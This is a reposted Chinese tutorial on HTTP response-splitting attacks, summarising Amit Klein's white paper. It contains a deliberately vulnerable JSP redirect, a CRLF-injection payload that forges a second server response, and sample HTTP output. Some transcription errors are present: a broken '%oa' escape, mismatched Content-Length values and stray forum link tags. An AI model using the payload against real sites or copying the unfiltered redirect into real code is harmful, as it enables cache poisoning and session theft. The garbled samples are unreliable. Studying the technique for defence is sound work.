http response splitting attack 的基本原理

王朝other·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

<->原理简介 http响应头截断是一种新的攻击技术,由该技术衍生了许多攻击的方法:web cache poisoning,cross user defacement,cross –site scripting等。攻击者利用它 可以获取用户的敏感信息甚至是包含用户名和密码的认证信息。在许多环境下都存在该攻击的可能,Microsoft ASP ,ASP NET, IBM WEBSPHERE,比较流行的的服务器,apache ,squid,还有浏览器IE6.0 SP1.

造成http响应头截断漏洞的主要原因是对用户提交的非法字符没有进行严格的过滤,尤 其是CR,LF字符的输入。攻击者通过发送一经过精心构造的request,迫使服务器认为其返回的数据是两个响应,而不是常规的一个响应。当可以通过精心制作的request完全 控制第二个响应时,可以通过这样来实现攻击:发送两个请求A,B。A请求包含构造数据,该请求致使服务器返回两个响应R1,R2,其中R2是可以通过在A中的精心构造而 完全控制的。服务器将R1作为response返回给A,而第R2则被服务器作为B的response而返回给了B﹙即使R2并不是服务器自己生成的)。

Request A------------->Web Server(R1,R2)

Request B------------->Web Server (本该是R3)

Web Server(R1)------------>A

Web Server(R2)——————>B

<二>基本技术 http响应头截断攻击重点在于可以在http头中输入数据,构造特殊字符形成截断。最可能的是在Location字段,还有在Set-Cookie字段中。实例:页面/redir_lang.jsp

<%

Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>

当提交english作为参数时,会转到/by_lang.jsp?lang=english,常规的响应如下:

HTTP/1.1 302 Moved Temporarily

Date:Wed,24 Dec 2003 12:53:28

Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=english]http://10.1.1.1/by_lang.jsp?lang=english

Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT

2003 271009 with

Content-Type: text/html

Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-

12510119693;path=/ Connection:Close

……………………….略

从以上可以看到的是:输入的参数已经提交到http头中,这样我们就可以构造特殊的字 符来截断http头,并到其后追加 一个自己构造的头:

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

服务器返回的数

HTTP/1.1 302 Moved Temporarily

Date:Wed,24 Dec 2003 15:26:41 GMT

Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=foobar]http://10.1.1.1/by_lang.jsp?lang=foobar

Content-Length:0

HTTP/1.1 200 OK

Content-Type: text/html

Content-length: 1

<html>Shazam</html>

Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT

2003 271009 with

Content-Type: text/html

Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/

Connection:Close

说明: 1、第一个响应是302 response,2、第二个响应是自己构造的200 response, 3、(在 报头之外的数据都略掉了,其实原文是存在的,而且在实际中该段是要给与考虑的)

这样我们就可以发送两个请求:

1、/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

2、/index.htm

这样服务器对于第一个请求返回:

HTTP/1.1 302 Moved Temporar

Date:Wed,24 Dec 2003 15:26:41 GMT

Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=foobar]http://10.1.1.1/by_lang.jsp?lang=foobar

Content-Length:0

对于第二个请求返回:

HTTP/1.1 200 OK

Content-Type: text/html

Content-length: 19

<html>Shamaz</html>

这样就达到了欺骗目标服务器的目的

更多的在原文

<HTTP Response Splitting ,Web Cache Poisoning Attacks,and Related Topics> White Pape.Amit klein ,Directory of Security and Reserch, Sanctum,Inc.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航